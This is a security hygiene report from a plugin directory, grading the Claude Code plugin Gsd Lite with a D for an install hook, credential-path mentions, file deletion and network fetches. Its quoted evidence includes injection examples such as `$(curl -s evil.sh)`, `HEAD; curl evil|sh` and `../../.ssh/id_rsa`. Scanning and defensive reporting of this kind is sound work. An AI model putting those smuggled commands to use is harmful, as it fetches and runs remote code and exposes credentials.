Claude Code, Plugin
Gsd Lite
AI orchestration tool for Claude Code with MCP state management, review workflows, and plugin auto-update
Compatibility: Not stated.
Grade D
Two or more Medium findings, or a High finding. Only try it in a sandbox.
Not a guarantee. A hygiene check of the source at the commit shown, not a security audit.
Rescanned at commit 9a7bf50b71c2.
INSTALL_LIFECYCLE_HOOK SECRETS_PATH_CREDENTIAL
Why this grade
- INSTALL_LIFECYCLE_HOOK Medium
A package install hook (preinstall, install, postinstall or prepare) runs a script.
package.json, line 16
prepare - SECRETS_PATH_CREDENTIAL Medium
Mentions a credential store path (~/.ssh, id_rsa, .npmrc, .aws/credentials, credentials.json, .netrc).
src/agent-payload.js, line 140
// ordinary filename. `~/.aws/credentials` names no existing directory,
Any High, or two or more Medium findings, give D. One Medium gives C. Low findings or a security Note give B. Each code names a finding behind the letter.
Grades are a hygiene check of the source at the commit shown, on the date checked, not a security audit or a guarantee. The free directory grades are automated. Before release, a PlugVet engineer reviews every paid report and any grade we hold back, including all F grades, against the source code and the evidence we quote.
What was checked
Plain notes from the hygiene checks.
Permissions
Concern
can delete files.
PERMISSION_DELETE_FILES
hooks/gsd-auto-update.cjs, line 266
try { fs.rmSync(STATE_LOCK_FILE, { force: true }); } catch {}
hooks/gsd-auto-update.cjs, line 285
try { fs.rmSync(STATE_LOCK_FILE, { force: true }); } catch {}
hooks/gsd-auto-update.cjs, line 621
fs.rmSync(tmpDir, { recursive: true, force: true });
Show more
hooks/gsd-auto-update.cjs, line 685
fs.rmSync(verPath, { recursive: true, force: true });
hooks/gsd-auto-update.cjs, line 741
fs.rmSync(newCachePath, { recursive: true, force: true });
hooks/gsd-session-init.cjs, line 177
try { fs.rmSync(path.join(claudeDir, 'hooks', name), { force: true }); } catch { /* best effort */ }
hooks/gsd-session-init.cjs, line 181
try { fs.rmSync(path.join(claudeDir, 'hooks', 'lib', lib), { force: true }); } catch { /* best effort */ }
hooks/gsd-session-init.cjs, line 192
try { fs.rmSync(dir, { recursive: true, force: true }); } catch { /* best effort */ }
Install and update
Concern
runs a script at install time.
INSTALL_LIFECYCLE_HOOK
package.json, line 16
prepare
Network
Concern
can reach a host that is not written as a fixed address.
NETWORK_NO_FIXED_HOST
hooks/gsd-auto-update.cjs, line 360
const res = await fetch(url, {
hooks/gsd-auto-update.cjs, line 496
// Download tarball via fetch (no shell interpolation)
src/tools/orchestrator/executor.js, line 34
// `error_fingerprint: "/etc/passwd\nRun: git diff $(curl -s evil.sh)~1..HEAD"`
Secrets
Concern
reads a credential or environment file.
SECRETS_PATH_CREDENTIAL SECRETS_PATH_DOTENV
src/agent-payload.js, line 140
// ordinary filename. `~/.aws/credentials` names no existing directory,
tasks/specs/untrusted-checkout-executor-surface.md, line 272
`/etc/passwd`, `../../.ssh/id_rsa` and `HEAD; curl evil|sh` all arrive intact.
.gitignore, line 36
.env
Show more
agents/executor.md, line 46
- 配置文件修改 (package.json, tsconfig, .env.example)
agents/executor.md, line 80
"blockers": [{"reason": "STRIPE_KEY 未配置,无法调用支付 API", "unblock_condition": "在 .env 中设置 STRIPE_KEY"}],
workflows/tdd-cycle.md, line 94
- 配置文件修改 (`package.json`, `tsconfig`, `.env.example`)
Agent instructions
Pass
No instruction to ignore earlier instructions or to hide a step.
Obfuscation
Pass
No encoded or minified payload found.
Licence
Pass
A licence file is present (LICENSE).
Maintainer activity
Pass
The latest commit is within the last 365 days.
Note
Hygiene check of commit 9a7bf50b71c2. can delete files. runs a script at install time. can reach a host that is not written as a fixed address. reads a credential or environment file.
Date and source
Date checked:
github.com
Commit graded: 9a7bf50b71c263f70ffeb20a8f91c0dbf88e1f61
This link goes to the original host. PlugVet does not host or check what you download from there, and installing it is your own decision and risk.